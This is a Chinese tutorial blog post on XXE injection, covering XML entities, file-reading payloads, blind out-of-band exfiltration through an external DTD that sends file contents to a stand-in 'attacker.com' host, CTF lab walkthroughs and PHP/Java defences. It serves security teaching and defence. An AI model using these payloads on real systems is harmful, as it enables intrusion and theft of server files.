从入门到拿Flag:XXE漏洞全解析

在 Web 安全领域,XML 外部实体注入(XXE)作为经典的注入类漏洞,曾长期位列 OWASP Top 10 高危漏洞榜单。尽管近年来 JSON 逐渐成为主流的数据传输格式,但大量遗留系统、企业级应用仍在广泛使用 XML 进行配置解析、数据交互,这也让 XXE 漏洞至今依然是渗透测试、红队攻防中的高频突破口。

很多开发者对 XML 的实体机制一知半解,导致配置不当留下漏洞;而很多安全新手也常常对 XXE 的无回显利用、参数实体嵌套等难点一头雾水。本文将从 XML 基础讲起,一步步带你拆解 XXE 漏洞的本质,从入门级的文件读取,到无回显盲注的原理,再到完整的综合靶场实战,最终掌握漏洞的防御方案,带你彻底搞懂 XXE。


一、前置知识:搞懂 XML,才能搞懂 XXE

要理解 XXE 漏洞,我们首先要搞懂 XML 的基础概念,以及它和我们熟悉的 HTML 的区别。

1.1 XML 的核心概念

XML(可扩展标记语言),其设计初衷是传输和存储数据,而非展示数据。和我们日常接触的 HTML 有着本质的区别:

  • HTML 的核心是展示数据,焦点是数据的外观,标签是预定义的,用来描述页面的布局和内容的展示形式。

  • XML 的核心是传输和存储数据,标签是自定义的,用来描述数据的含义和结构,不关心数据该怎么展示。

举个最简单的例子,我们可以用 XML 描述一个用户信息:

复制代码
​
<user>
  <username>admin</username>
  <password>123456</password>
</user>

这段 XML 只描述了数据本身,至于这些数据是要展示成表格、还是输入框,XML 并不关心。

1.2 开发中常见的 XML 配置

在 Java 等后端开发中,XML 曾经是配置文件的主流格式,我们日常开发中接触到的很多配置,本质上都是 XML 文件,而这些配置的解析过程,正是 XXE 漏洞的高发场景:

  • pom.xml:Maven 项目的核心配置文件,描述项目的依赖、构建配置等信息。

  • web.xml:Java Web 应用的部署描述符,用来配置 Servlet、过滤器、欢迎页等 web 容器的相关配置。

  • MyBatis 的 Mapper 配置文件:用来定义 SQL 映射、参数映射等持久层配置。

当应用接收用户传入的 XML 数据,直接交给解析器处理,而没有做任何安全限制的时候,XXE 漏洞就产生了。


二、XXE 漏洞:本质与危害

2.1 什么是 XXE?

XXE 的全称是XML External Entity Injection(XML 外部实体注入)。要理解它,我们首先要搞懂 XML 的实体(Entity)机制。

XML 的实体,你可以理解为 XML 中的 "变量",用来定义一段可复用的内容,分为内部实体和外部实体:

  • 内部实体:定义在 XML 文档内部,内容是固定的字符串,比如:

    复制代码
    ​
    <!ENTITY foo "Hello XXE">

    之后我们就可以用&foo;来引用这个实体,解析的时候会自动替换成对应的字符串。

  • 外部实体:实体的内容不是固定的字符串,而是指向一个外部资源,比如本地文件、远程 URL,比如:

    复制代码
    ​
    <!ENTITY foo SYSTEM "file:///etc/passwd">

    当 XML 解析器解析这个实体的时候,就会去读取对应的外部资源的内容,替换到实体的位置。

而 XXE 漏洞,就是攻击者利用 XML 解析器默认支持外部实体的特性,构造恶意的外部实体,让解析器去读取服务器上的敏感文件、发起 SSRF 请求、甚至执行命令,从而实现攻击。

2.2 入门实战:有回显 XXE,读取服务器文件

最基础的 XXE 漏洞,是有回显的场景:也就是攻击者注入的外部实体的内容,会被服务器返回给攻击者,这种场景下,我们可以直接读取服务器的文件。

比如在 Pikachu 靶场的 XXE 模块中,应用接收用户输入的 XML 数据,解析后返回结果。我们就可以构造这样的 Payload:

复制代码
​
<?xml version = "1.0"?> 
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<foo>&xxe;</foo>

这段 Payload 的含义是:

  1. 定义一个文档类型 DOCTYPE,声明我们的实体。

  2. 定义一个外部实体xxe,指向目标服务器的 hosts 文件。

  3. 在 XML 的内容中引用这个实体&xxe;

当服务器解析这段 XML 的时候,就会读取 hosts 文件的内容,替换&xxe;,然后把结果返回给我们,这样我们就直接拿到了服务器的 hosts 文件内容,实现了任意文件读取。

2.3 进阶难点:无回显 Blind XXE,带外攻击

比有回显更常见的,是无回显 XXE(Blind XXE):也就是服务器解析了我们的恶意 XML,但是不会把实体的内容返回给我们,这时候我们没办法直接拿到文件内容,这时候就需要用到 ** 带外(Out-of-Band, OOB)** 的攻击方式,把读取到的数据主动发送到我们控制的服务器上。

这也是很多新手最困惑的部分,为什么要嵌套实体?为什么要用到外部 DTD?&#x25;又是什么?我们一个个来拆解。

2.3.1 为什么不能直接在内部 DTD 里写嵌套参数实体?

首先,我们要先搞懂参数实体(Parameter Entity),参数实体是一种特殊的实体,用%开头,只能在 DTD 内部使用,用来在 DTD 里做复用。

在无回显的场景下,我们的逻辑是:

  1. 读取目标服务器的文件,用 base64 编码避免特殊字符的问题。

  2. 把读取到的文件内容,通过 HTTP 请求发送到我们的服务器上,这样我们就能拿到数据。

如果我们尝试直接在内部 DTD 里写这个逻辑,会是这样的:

复制代码
​
<!DOCTYPE updateProfile [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
  <!ENTITY % send SYSTEM 'http://attacker.com/get.php?file=%file;'>
  %send;
]>

但是这段代码会直接报错,无法执行!

这是因为 XML 的规范中明确规定:内部 DTD 子集里,不允许在标记声明中引用参数实体,只有外部 DTD 子集没有这个限制!

这就是为什么我们必须要把 DTD 的逻辑放到我们自己的服务器上,做成一个外部 DTD 文件,然后在目标的 XML 里引用这个外部 DTD,这样就能绕过这个限制了。

2.3.2 &#x25;是什么?为什么要转义 %?

那我们的外部 DTD 里的这段代码:

复制代码
​
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/1.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/get.php?file=%file;'>">
%all;
%send;

这里的&#x25;是什么?其实它是%的 XML 字符实体,%的 ASCII 码的十六进制是 25,所以&#x25;就代表%这个字符。

为什么我们要把%转义成这个?因为如果我们直接写%send的话,在解析外层的%all实体的时候,XML 解析器会提前把%send解析掉,导致语法错误。我们把它转义成字符实体之后,外层解析的时候,会把它当成普通的字符,不会提前解析,等到解析到内部的标记声明的时候,才会把它解析成%,也就是参数实体的引用,这样就能正常执行了。

2.3.3 完整的 Blind XXE 攻击流程

整个无回显 XXE 的攻击流程是这样的:

  1. 攻击者在自己的服务器上,准备两个文件:

    • evil.dtd:恶意的外部 DTD 文件,也就是我们上面的那段代码,用来定义读取文件、发送数据的逻辑。

    • get.php:接收数据的脚本,用来把目标发送过来的文件内容保存到本地。

  2. 攻击者给目标服务器发送恶意的 XML 请求,内容是:

    复制代码
    ​
    <?xml version = "1.0"?>
    <!DOCTYPE ANY[
      <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
      %dtd;
    ]>
  3. 目标服务器解析这段 XML 的时候,会加载攻击者服务器上的外部 DTD 文件,然后执行 DTD 里的逻辑:

    • 读取目标服务器上的敏感文件,用 base64 编码。

    • 把编码后的内容,通过 HTTP 请求发送给攻击者的get.php

  4. 攻击者的get.php接收到数据,保存到本地,攻击者就拿到了目标服务器的文件内容。

这就是 Blind XXE 的完整原理,通过带外的方式,把无回显的漏洞变成可利用的漏洞。


三、靶场实战 1:xxe-lab,从登录接口拿账号密码

讲完原理,我们来看第一个入门级的靶场:xxe-lab,这个靶场的登录接口接收 XML 格式的请求,存在 XXE 漏洞,我们来一步步利用它拿到管理员的账号密码。

3.1 拦截登录请求

首先,我们访问靶场的登录页面,输入任意的用户名密码,用 Burp Suite 拦截登录请求,我们会发现,请求的 Body 是 XML 格式的:

复制代码
​
<user>
  <username>test</username>
  <password>test</password>
</user>

这说明后端会解析这段 XML,很可能存在 XXE 漏洞。

3.2 注入 XXE Payload,探测漏洞

我们修改请求的 Body,注入 XXE 的 Payload,尝试读取后端的登录接口源码doLogin.php,为了避免特殊字符的问题,我们用 php 的 filter 协议把文件内容转成 base64:

复制代码
​
<!DOCTYPE ANY [
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user>
  <username>&file;</username>
  <password>123123</password>
</user>

然后把修改后的请求发送出去,我们会发现,响应里返回了一大串 base64 字符串,这说明漏洞存在!

3.3 解码拿到账号密码

我们把拿到的 base64 字符串解码,就得到了doLogin.php的源码,从源码里我们就能直接拿到管理员的用户名和密码,然后用这个账号密码登录,就成功进入了后台。

这个就是最基础的 XXE 漏洞利用,非常简单,只要有回显,我们可以直接读取任意源码,拿到敏感信息。


四、综合实战:比赛级靶场,一步步拿到 Flag

接下来,我们来看一个更复杂的综合靶场,这也是很多 CTF 比赛里的常见题型,我们要从环境搭建开始,一步步渗透,最终拿到 Flag。

4.1 环境准备:安装靶机,探测目标

首先,我们导入靶机的 ovf 虚拟机,设置 NAT 网络模式,因为我们不知道靶机的 IP,所以我们先探测网段:

  1. 我们的物理机的 NAT 网卡的网段是192.168.220.0/24,所以靶机的 IP 肯定在这个网段里。

  2. 用 Kali 的 nmap 扫描整个网段:

    复制代码
    ​
    nmap 192.168.220.1/24
  3. 扫描结果显示,192.168.220.136开放了 80 端口,这就是我们的靶机。

4.2 目录探测,找到 XXE 入口

我们访问靶机的 80 端口,然后进行目录扫描,发现了robots.txt,进而找到了xxe的登录页面,和之前的靶场一样,这个登录接口也是接收 XML 格式的请求。

4.3 第一步:读取 xxe.php,发现陷阱

首先,我们尝试读取当前的 xxe.php 的源码,看看后端的逻辑:

复制代码
​
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root>
  <name>&file;</name>
  <password>123213</password>
</root>

我们把拿到的 base64 解码之后,得到了 xxe.php 的源码:

复制代码
​
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$password = $info->password;
echo "Sorry, this $name not available!";
?>

哦,原来这是个陷阱!这个接口不管你输入什么用户名密码,都会提示错误,根本不是真正的登录接口!我们差点上当了。

4.4 第二步:读取 admin.php,拿到管理员账号

既然这个是假的,那我们就去读真正的登录接口admin.php的源码:

复制代码
​
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root>
  <name>&file;</name>
  <password>123213</password>
</root>

解码之后,我们得到了 admin.php 的源码,从里面我们找到了:

  • 用户名:administhebest

  • 密码的 MD5 值:解密之后是admin@123

我们尝试用这个账号密码登录 admin.php,但是发现还是没有权限访问?看来 Flag 不在这。

4.5 第三步:读取 flagmeout.php,找到 Flag 的线索

那我们继续读flagmeout.php的源码,看看里面有什么:

复制代码
​
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root>
  <name>&file;</name>
  <password>123213</password>
</root>

解码之后,我们得到了这段代码:

复制代码
​
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>

哦,这里有个加密的字符串:JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5,这是什么?

我们先尝试 Base32 解码,因为这个字符串都是大写字母和数字,符合 Base32 的特征,解码之后得到:L2V0Yy8uZmxhZy5waHA=,哦,这个看起来是 Base64 的字符串!

我们再 Base64 解码,得到:/etc/.flag.php!原来真正的 Flag 文件在/etc目录下!

4.6 最终步:读取 /etc/.flag.php,拿到 Flag

现在我们知道了 Flag 的位置,构造 Payload 读取这个文件:

复制代码
​
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
  <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root>
  <name>&file;</name>
  <password>123213</password>
</root>

把拿到的 base64 解码之后,我们得到了一段混淆的 PHP 代码,把这段代码放到在线 PHP 运行工具里执行,最终我们就拿到了 Flag:

复制代码
​
xxe_is_so_easy

完美,这就是我们的最终目标!


五、XXE 漏洞的防御:如何筑牢防线

讲完了攻击,我们再来看怎么防御 XXE 漏洞,其实防御的核心非常简单:禁用 XML 解析器的外部实体加载功能,因为 XXE 的本质就是利用了外部实体,只要我们禁用了它,漏洞就不存在了。

不同的语言,配置的方式不同:

5.1 PHP 的防御

PHP 里,我们只需要设置libxml_disable_entity_loader(true),禁用实体加载就可以了:

复制代码
​
// XXE漏洞防御:禁用外部实体加载
libxml_disable_entity_loader(true);

修改之后,我们再尝试注入 XXE 的 Payload,就会发现攻击失效了,解析器不会再加载外部实体了。

5.2 Java 的防御

Java 里的 XML 解析器默认是开启外部实体的,我们需要手动配置工厂类的安全特性,禁用外部实体:

比如 DOM 解析器的安全配置:

复制代码
​
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用DOCTYPE声明,彻底禁止外部实体解析
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 禁用外部通用实体
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
// 禁用外部参数实体
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

SAX 解析器的安全配置:

复制代码
​
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

只要做好这个配置,就能彻底避免 XXE 漏洞。

5.3 其他防御方式

除了核心的禁用外部实体,我们还可以:

  • 升级 XML 解析器的版本,新版本的解析器默认已经禁用了外部实体,比如 libxml2.9.0 之后,默认就禁用了外部实体加载。

  • 避免使用 XML 格式的请求,改用 JSON 等更安全的格式。

  • 过滤用户输入的 XML 内容,过滤 DOCTYPE、ENTITY 等关键词,不过这个是辅助手段,不如禁用外部实体可靠,很容易被绕过。


总结

XXE 漏洞作为一个经典的老漏洞,直到今天依然在大量的应用中存在,核心原因就是开发者对 XML 的实体机制不了解,没有正确配置解析器的安全选项。

从基础的 XML 知识,到有回显的文件读取,再到无回显的 Blind XXE,再到完整的 CTF 靶场实战,我们一步步拆解了 XXE 的所有核心知识点。只要我们搞懂了 XML 的实体机制,搞懂了参数实体的限制,就能轻松的利用和防御 XXE 漏洞。

最后,记住防御的核心:永远不要相信用户的输入,对于 XML 解析,一定要显式禁用外部实体加载,这才是杜绝 XXE 漏洞的根本方法。

相关推荐
123过去2 小时前
sslyze使用教程
linux·网络·安全
hwscom2 小时前
ChurchCRM SQL注入漏洞(CNVD-2026-12565、CVE-2026-24854)
sql·web安全
皮皮宋吖2 小时前
皮皮宋渗透日记 11|文件包含漏洞全解析:LFI/RFI/ 伪协议 / 绕过 / 防御
android·安全
运维有小邓@2 小时前
文件分析如何检测文件安全漏洞?
网络·安全·web安全
志栋智能2 小时前
从手动处置到自动响应:安全工作的范式升级
网络·安全
北京软秦科技有限公司2 小时前
AI审核如何守护游乐设施安全底线?IACheck成为检测报告智能审核新助手
人工智能·安全
ComPDFKit2 小时前
OpenClaw安全风险与规避方法 — 安全“养虾”全套办法
安全·ai
乾元3 小时前
全球治理: 从《AI 法案》看安全合规的国际趋势
网络·人工智能·安全·机器学习·网络安全·架构·安全架构